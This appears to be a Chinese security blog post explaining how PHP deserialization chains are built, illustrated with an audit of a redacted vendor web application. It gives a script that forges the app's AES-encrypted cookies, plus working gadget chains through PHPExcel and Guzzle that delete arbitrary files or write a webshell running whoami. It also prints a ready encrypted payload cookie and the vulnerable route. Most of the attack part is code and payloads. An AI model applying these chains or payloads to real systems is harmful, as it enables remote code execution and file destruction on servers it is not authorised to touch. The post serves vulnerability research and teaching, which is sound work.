0x01 前言
以前因为项目需要,挖到的时候也懒的发,现在回头一看,好像自己的安全拼图少了一块,所以就补上吧 :)
0x02 旅途过程
0x02.1 寻找起点
就像出去旅游看风景一样,挑选一个合适的城市,会让旅途更加的舒服.所以,起点的寻找是一个非常重要的点,一个好的起点,可以让挖链的难度,成几何下降序列化简单点的说: 序列化是将对象或变量转换为可保存或可传输的字符串的过程, 但不会序列化类的方法所以想要反序列化达成一些目的的话,就必须配合类方法的执行,串成一个链而对于起点来说,我们需要找到可以在反序列化时就可以自动调用的方法在php里面常见的可以自动调用的方法便是魔术方法了,魔术方法很多就不一一介绍如果想知道各个魔术方法的使用可以查看该链接进行学习:https://www.yuque.com/pmiaowu/web_security_1/nxl8il目前有两个魔术方法常常被用于反序列化的入口使用:__destruct 与 __wakeup因此如果要找一个反序列化入口点,那么这两个方法就是最好的例子了__destruct(): 类的析构函数-在销毁一个类之前执行该方法__wakeup(): 执行unserialize()时,会先调用该魔术方法一般来说 __destruct() 作为起点,更好用一些!!
0x02.2 挑选跳板
而跳板就类似于旅途中做的攻略,选择要看的风景.因此,一个好的跳板,可以让我们在挖掘php反序列化中拥有事半功倍的效果而我认为所谓的跳板,就是在类方法与类方法、类变量与类变量、类方法与类变量之间相互的配合与跳跃最终达到我们想要的一个结果的过程具现化例如一: 假如有个对象里面有个__isset()魔术方法而在反序列化时有代码执行了isset()或empty(),并且其参数可控那么将isset()或empty()赋值为该对象即可自动调用__isset()魔术方法,这就可以当一个跳板例如二: 假如有个对象里面有个__toString()魔术方法而我们找到了一个字符串函数,例如trim(),并且其参数可控那么将trim()赋值为该对象即可自动调用__toString()魔术方法,这也可以当一个跳板还有常见的 $test()或是call_user_func($this->test),其中$test与$this->test可控这种只能调用没有参数的函数的方法,除了调用phpinfo(),也是可以进阶利用的例如,将变量赋值为 [(new test), "a"] 这样的一个数组即可调用test类中的a公共方法,这又是一个不错的跳板了在然后就是new $test1($test2),其中$test1与$test2可控,那么这种样式的,也可以利用拿来调用__construct()魔术方法,也是一个不错的跳板
0x02.3 行程终点
旅程的终点就向是旅游以后拍摄的美景,是我们踏上旅途的意义.最后,我认为的终点就是两种类别1. 动态调用参数可控2. 危险函数参数可控动态调用就类似于写后面时常见的$this->a($this->b),($this->a)($this->b),new $this->a($this->b)->$c危险函数的话,就需要根据需求找了例如想要任意文件删除就找unlink想要rce就找call_user_func,call_user_func_array这种函数想要任意文件写就找file_put_content这种函数
0x03 案例
这两个案例是源自于一次工作代码审计的需要挖掘的,所以会有部分信息会打码实际漏洞利用也会放当时在本地的利用截图,将就看看吧~~~
0x03.1 反序列化入口挖掘
正常文件getshell的路上都被堵死了,所以就想找个反序列化尝试进行getshell经过查找,还真找到了一个反序列化入口
源码路径: ./源码/basichouse/controller/prize.class.php换成路由那就是:GET请求 http://xxx.com/?site=basichouse&ctl=prize&act=addCookie: prize_from_activity=序列化数据这样即可触发

源码路径: ./源码/framework/lib/cookie.class.php可以看到要跟进一个方法, lib_cookies_encrypt::get_method(ENCRYPT_KEY, 'aes');

注: 打码了一下,避免厂商信息泄漏查询一下 ENCRYPT_KEY = md5('xxxxxxxxxxx') = 02xxx8f124adxxx5adxxx5a0xxxxfdcf

然后继续查看一下, lib_cookies_encrypt::get_method 是怎么操作源码路径: ./源码/framework/lib/cookies/encrypt.class.php看了一下也就是说实际是:new lib_cookies_encryptaes($key);如下图

那就继续查找 lib_cookies_encryptaes 类源码路径: ./源码/framework/lib/cookies/encryptaes.class.php

那就继续查找 lib_cookies_encryptaes 类源码路径: ./源码/framework/lib/cookies/encryptaes.class.php

源码路径: ./源码/framework/lib/cookies/aes256.class.php看到这里就简单了,只需要把这个加密解密的方法直接抽出来就可以在本地加密数据,在目标上复现拉
0x03.2 反序列化入口加解密小脚本
// 序列化数据加解密小脚本// 文件名称: a.php<?php//cookies加密saltdefine('ENCRYPT_KEY', md5('xxxxxxxxxxx'));class lib_cookie{public static function setcookie($name, $value = null, $expire = null, $path = null, $domain = null, $secure = null, $httponly = null){if(!empty($value)) {$value=serialize($value);$encrypt = lib_cookies_encrypt::get_method( ENCRYPT_KEY, 'aes' );$value = $encrypt->encrypt($value);echo '序列化数据: ' . urlencode($value) . '<br/>';}return setcookie($name, $value, $expire, $path, $domain, $secure, $httponly);}public static function getcookie($name){if(!empty($_COOKIE[$name])){$encrypt = lib_cookies_encrypt::get_method( ENCRYPT_KEY, 'aes' );$value=$encrypt->decrypt($_COOKIE[$name]);return unserialize($value);}return false;}}//加密类型接口,加密类型,都基于此类扩展abstract class lib_cookies_encrypt{static $method = array('aes');//加密类型.abstract public function get_name();//加密方法,返回加密后到密文abstract public function encrypt($data);//解密方法,返回解密后到明文public function decrypt($endata){return $this->decrypt($endata);}/*** @static* @param string $name* @param $key* @return baccarat_cookie_encrypt*/static public function get_method( $key, $name='aes' ){if(in_array($name,self::$method)){$classname = 'lib_cookies_encrypt'.$name;return new $classname($key);}else{return null;}}}class lib_cookies_encryptaes extends lib_cookies_encrypt{private $aes;public function __construct($key){$this->aes = new lib_cookies_aes256($key);}public function get_name(){return "aes";}public function encrypt($data){$data = rawurlencode($data);return base64_encode($this->aes->encrypt($data));}public function decrypt($data){return rawurldecode($this->aes->decrypt(base64_decode($data)));}}class lib_cookies_aes256 {public function __construct($key) {$this->key = $key;$this->iv = 'XxxxxxnzxxxxxxxxXxxxxg==';}public function encrypt($data) {$encrypted = openssl_encrypt($data, 'aes-256-cbc', $this->key, OPENSSL_RAW_DATA, base64_decode($this->iv));return $encrypted;}public function decrypt($encrypted) {$decrypted = openssl_decrypt($encrypted, 'aes-256-cbc', $this->key, OPENSSL_RAW_DATA, base64_decode($this->iv));return $decrypted;}}// 加密测试$from_type = "1111aa";$from_activity = "22222aa";$from_url = "https://baidu.com/aaaaaaaaaaaaa";$data = $from_type . '|' . $from_activity . '|' . $from_url;lib_cookie::setcookie('prize_from_activity', $data, time() + 86400);// 解密测试$prize_from_activity = lib_cookie::getcookie('prize_from_activity');var_dump($prize_from_activity);?>
0x03.3 反序列化口子测试
0x03.4 链子-任意文件删除
0x03.4.1 效果测试
本地验证试试
// 任意文件删除-序列化数据// $_tempFileName = 要删除的文件// 执行完以后页面就会删除序列化的数据了class PHPExcel_Shared_XMLWriter extends XMLWriter {private $_tempFileName = 'C:\Software\phpStudy\PHPTutorial\WWW\1.txt';}$data = new PHPExcel_Shared_XMLWriter();lib_cookie::setcookie('prize_from_activity', $data, time() + 86400);

然后把这个序列化的数据放到http://www.test123.com/index.php?site=basichouse&ctl=prize&act=add接口的Cookie的prize_from_activity即可
0x03.4.2 链子原理
路径: ./源码/framework/include/PHPExcel/Shared/XMLWriter.php打开以后直接查看 __destruct 方法即可,没什么难度可说
0x03.5 链子-任意文件写入漏洞
0x03.5.1 效果测试
本地验证试试
<?phpnamespace GuzzleHttp\Cookie{class SetCookie{private $data;public function __construct($data){$this->data = ['Expires' => 1,'Discard' => false,'asdsada' => $data];}}class CookieJar{private $cookies = [];private $strictMode;public function __construct($data){$this->cookies = [new SetCookie($data)];}}class FileCookieJar extends CookieJar{private $filename;private $storeSessionCookies = true;public function __construct($filename, $data){parent::__construct($data);$this->filename = $filename;}}}?>
<?php
include "./file_payload.php";
// 任意文件写入-序列化数据
$path = 'C:\Software\phpStudy\PHPTutorial\WWW\webshell.php';
$data = '<?php var_dump(`whoami`);?>';
$data = new \GuzzleHttp\Cookie\FileCookieJar($path, $data);
lib_cookie::setcookie('prize_from_activity', $data, time() + 86400);
?>
然后把这个序列化的数据
放到http://www.test123.com/index.php?site=basichouse&ctl=prize&act=add
接口的Cookie的prize_from_activity即可
0x03.5.2 链子原理
路径: ./源码/huaweiobs/vendor/guzzlehttp/guzzle/src/Cookie/FileCookieJar.php
打开以后直接先查看 __destruct 方法
可以看到 __destruct() 会调用 save() 方法
而save()方法会调用 file_put_contents($filename, $jsonStr)
其中 $filename 这个变量,我们直接就可外部控制
所以如何控制$jsonStr的数据就是要探讨的问题了
从下图可以看到$jsonStr的数据是从一个foreach里面获取的,并且foreach的对象是一个$this
注意:
当foreach的是一个类对象的话, 那么需要这个类需要继承一个Iterator基类
并且添加一个getIterator()方法, 作为迭代器
那么才能进入到foreach循环, 否则foreach就会忽略该类对象
有关迭代器的资料可以看这一篇文章: https://www.php.net/manual/zh/class.iterator.php
而我们这个$this肯定是一个类对象, 那么如何进入foreach就是现在就要解决的问题了
从上面的注意事项我们知道了, $this里面的类对象需要继承到一个Iterator基类
并且添加类对象一个getIterator()方法
如何进入foreach这个问题,我们可以查看foreach循环代码
路径: ./源码/huaweiobs/vendor/guzzlehttp/guzzle/src/Cookie/FileCookieJar.php
方法: save()
核心代码: CookieJar::shouldPersist
进去以后可以看到这一句代码
if (CookieJar::shouldPersist($cookie, $this->storeSessionCookies)) {
$json[] = $cookie->toArray();
}
也就是说并且需要通过 CookieJar::shouldPersist 的验证最终才会让 $jsonStr 有数据

如何让FileCookieJar.php的save()方法的foreach有数据?
这里我们可以查看一下 CookieJar.php 的 getIterator() 方法
前面说过了当foreach的是一个类对象时那么需要这个类需要继承一个Iterator基类
并且添加一个getIterator()方法, 作为迭代器
那么才能进入到foreach循环, 否则foreach就会忽略该类对象
而这个CookieJar.php刚好符合要求
路径: ./源码/huaweiobs/vendor/guzzlehttp/guzzle/src/Cookie/CookieJar.php
方法: getIterator()
里面写的很清楚了,CookieJar类的$cookies会作为迭代器的数据返回回去
如下图:

这里我们可以查看一下FileCookieJar.php文件的save方法的$this数据
无需在意,内心有个底即可
写文件的序列化数据:
prize_from_activity=ChFt5xViYmou2DGL5hQqU1gjtGd7mU3re9i53NmTp7zaYiYMb86yuepDoqRBUuNioTWXUtgn5MyIiia0j6o3Q9LcsedX%2F88ADfhtuvRAIOEw1giFiki2T7Qi%2BvRBd8JIFH4ZlZR6%2ByPDCrYdo%2B5%2B7tbgrG0BwymmS8kTh9kH2Bzk8MyM5mOF1QSy1n%2FqIfedBIEZ2w93d0XkJz2eGTm8Tj3EweEYCUu7LvJhaf8ykTRdV6e4wHIKHdDyt8rXve9zMIXYuls%2B6fa7f%2B1HOctTkBg5IuhVmRAYAcRC1g%2BcdOJGWQM0F4DRmsQzT5H3FCo5%2BGKHKPTAfOQnAr2iis4an1FR0evpbZXsKU65uOmngYo93edtNTsKKy8c641IlM4W3%2Bw%2BMykwJNPWL89luYsKARXuH4BcF2rYv5dlN8BOZnwkOIsACwn5zSsG1070KyGp0AsCpJ1GU6apIpBoDHK4bLIj3GsjypGqscSHaa5Maq%2BOVPK%2FjBSPdijK9QM0QhHumqjNwIONHT1Sh2eht5IoSSKNq%2FVMAxcPYdgTrjz4XgtQD2%2BxdhdjPZc4Rhk0%2BoYEEJrKZ02Ghpcn%2FOtONOEUr3uCnZx1vu1KxOIfuBvbBIvuJuIANu8pwTQM1XrliegoI0%2Bl2k%2BfqpR2wCrRYwuqFFtzGuf6snzMFi%2FKr6TdLwHUP8aJGfcjW8dyxH0wqqBxm1tUGKpbWuVzduNXszxDZCdUUD%2FRvj7vYdSQvTP4ldnOyzgcDgnwdlszDM5g68VAlX0QryxJxfm4vNxCcbFaNwPtfBD2DqjLCGw%2F%2BuqEaPN%2FyXeQE7a9L9eqbTNxWqAldFtCkkBznE7DYgHlzigX%2Feno7Hzhyrr92Lssgk5IQDVLBXBColbRXGYMHMY1iPx3e3X27z0T0YAUHPY%2BUklcE4k%2FAEQQWeiB%2FahAfsqoaXP3757bqpS%2Ba9rxPt1D3MNxlEH1%2BTXAVKaM1a0N6ls4xw%3D%3D


跟进去CookieJar类的shouldPersist方法
路径: ./源码/huaweiobs/vendor/guzzlehttp/guzzle/src/Cookie/CookieJar.php
方法: shouldPersist()
如下图显示的核心代码
public static function shouldPersist(
SetCookie $cookie,
$allowSessionCookies = false
) {
if ($cookie->getExpires() || $allowSessionCookies) {
if (!$cookie->getDiscard()) {
return true;
}
}
return false;
}
其中 $allowSessionCookies 无视掉,因为可直接构造,不需要脑子
而 $cookie 写的很明显了,需要接收的方式为 SetCookie 对象
并且会调用 $cookie->getExpires() 还有 $cookie->getDiscard()
从下图就可以看到$cookie里面需要有什么,需要一个Expires与Discard
也就是说 $cookie->getExpires() 或是 $allowSessionCookies 一个为 true 即可进入下一步
然后 $cookie->getDiscard() 为 false 即可返回一个 true
所以如何构造这个数组就是下一步要解决的问题了



现在可以开始想办法看看如何构造 SetCookie $cookie 为我们需要的数组了
路径: ./源码/huaweiobs/vendor/guzzlehttp/guzzle/src/Cookie/SetCookie.php
从上面的截图来看, $cookie->getExpires() 与 $cookie->getDiscard()
调用的都是 SetCookie.php 的 $this->data 里的数据,所以直接查看 $this->data 在哪里修改即可
从下图来看已经很清楚了,在构造函数或是直接修改都可以

继续回去
路径: ./源码/huaweiobs/vendor/guzzlehttp/guzzle/src/Cookie/FileCookieJar.php
方法: save()
现在在看看 $json[] = $cookie->toArray(); 要怎么处理才能有数据
跟进去: ./源码/huaweiobs/vendor/guzzlehttp/guzzle/src/Cookie/SetCookie.php
方法: toArray()
哇哦,是直接返回的 $this->data; 也就是说,直接修改即可
0x04 小结
挖完以后很开心, 最后面项目打完了才发现, 在phpggc这个项目里面就有记录了, 也行吧...
项目地址: https://github.com/ambionics/phpggc
总的来说,php的反序列化对比java的反序列化好挖不少
php的反序列化链路,我个人感觉就像是在搭积木,只要搭的好就有链
而java的反序列化链路,就想是在刺绣,需要一在的仔细在仔细并且利用好各种的小姿势,最终成为一个链
总的来说自己还是太菜了,emmmmm
继续学习吧
0x05 参考链接
https://xz.aliyun.com/t/8082
感谢前辈写的良好的参考文章 :)







